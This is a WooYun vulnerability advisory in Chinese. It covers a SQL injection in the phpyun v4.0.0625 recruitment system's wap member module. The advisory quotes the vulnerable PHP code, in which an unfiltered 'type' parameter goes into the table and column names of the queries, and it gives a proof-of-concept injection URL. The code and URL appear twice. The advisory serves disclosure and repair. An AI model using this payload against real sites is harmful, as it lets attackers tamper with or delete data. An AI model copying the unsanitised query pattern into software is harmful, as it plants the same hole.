当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0125857

漏洞标题:phpyun_v4.0.0625最新版注入(可获取部分数据)

相关厂商:php云人才系统

漏洞作者: Xser

提交时间:2015-07-10 10:36

修复时间:2015-10-08 10:42

公开时间:2015-10-08 10:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-10: 细节已通知厂商并且等待厂商处理中
2015-07-10: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向第三方安全合作伙伴开放
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

RT

详细说明:

出现在wap\member\model\index.class.php中

function rinfo_action(){
if($_GET['type']&&intval($_GET['id'])){
$nid=$this->obj->DB_delete_all("resume_".$_GET['type'],"`eid`='".(int)$_GET['eid']."' and `id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");
if($nid)
{
$url=$_GET['type'];
$this->obj->DB_update_all("user_resume","`$url`=`$url`-1","`eid`='".(int)$_GET['eid']."' and `uid`='".$this->uid."'");
$resume_row=$this->obj->DB_select_once("user_resume","`eid`='".(int)$_GET['eid']."'");
$this->complete($resume_row);
$data['msg']='删除成功!';
}else{
$data['msg']='删除失败!';
}
$data['url']="index.php?c=rinfo&eid=".(int)$_GET['eid']."&type=".$_GET['type'];
$this->yunset("layer",$data);
}
$this->rightinfo();
$this->yunset($this->MODEL('cache')->GetCache(array('city','user','hy','job')));
$rows=$this->obj->DB_select_all("resume_".$_GET['type'],"`eid`='".(int)$_GET['eid']."' and `uid`='".$this->uid."'");
$this->yunset("rows",$rows);
$this->yunset("type",$_GET['type']);
$this->yunset("eid",$_GET['eid']);
$this->waptpl('rinfo');


可见

if($_GET['type']&&intval($_GET['id'])){
$nid=$this->obj->DB_delete_all("resume_".$_GET['type'],"`eid`='".(int)$_GET['eid']."' and `id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");


$_GET['type']被带进去,没有单引号没过滤
我们提交

http://127.0.0.1https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/wap/member/index.php?c=rinfo&id=1&type=expect%60%20where%20id%3D3%23


360截图-1049312.jpg


语句被带进去执行了。

漏洞证明:

出现在wap\member\model\index.class.php中

function rinfo_action(){
if($_GET['type']&&intval($_GET['id'])){
$nid=$this->obj->DB_delete_all("resume_".$_GET['type'],"`eid`='".(int)$_GET['eid']."' and `id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");
if($nid)
{
$url=$_GET['type'];
$this->obj->DB_update_all("user_resume","`$url`=`$url`-1","`eid`='".(int)$_GET['eid']."' and `uid`='".$this->uid."'");
$resume_row=$this->obj->DB_select_once("user_resume","`eid`='".(int)$_GET['eid']."'");
$this->complete($resume_row);
$data['msg']='删除成功!';
}else{
$data['msg']='删除失败!';
}
$data['url']="index.php?c=rinfo&eid=".(int)$_GET['eid']."&type=".$_GET['type'];
$this->yunset("layer",$data);
}
$this->rightinfo();
$this->yunset($this->MODEL('cache')->GetCache(array('city','user','hy','job')));
$rows=$this->obj->DB_select_all("resume_".$_GET['type'],"`eid`='".(int)$_GET['eid']."' and `uid`='".$this->uid."'");
$this->yunset("rows",$rows);
$this->yunset("type",$_GET['type']);
$this->yunset("eid",$_GET['eid']);
$this->waptpl('rinfo');


可见

if($_GET['type']&&intval($_GET['id'])){
$nid=$this->obj->DB_delete_all("resume_".$_GET['type'],"`eid`='".(int)$_GET['eid']."' and `id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'");


$_GET['type']被带进去,没有单引号没过滤
我们提交

http://127.0.0.1https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/wap/member/index.php?c=rinfo&id=1&type=expect%60%20where%20id%3D3%23


360截图-1049312.jpg


语句被带进去执行了。

修复方案:

单引号

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-10 10:41

厂商回复:

感谢您的提供,我们会尽快修复!

最新状态:

暂无


漏洞评价:

评论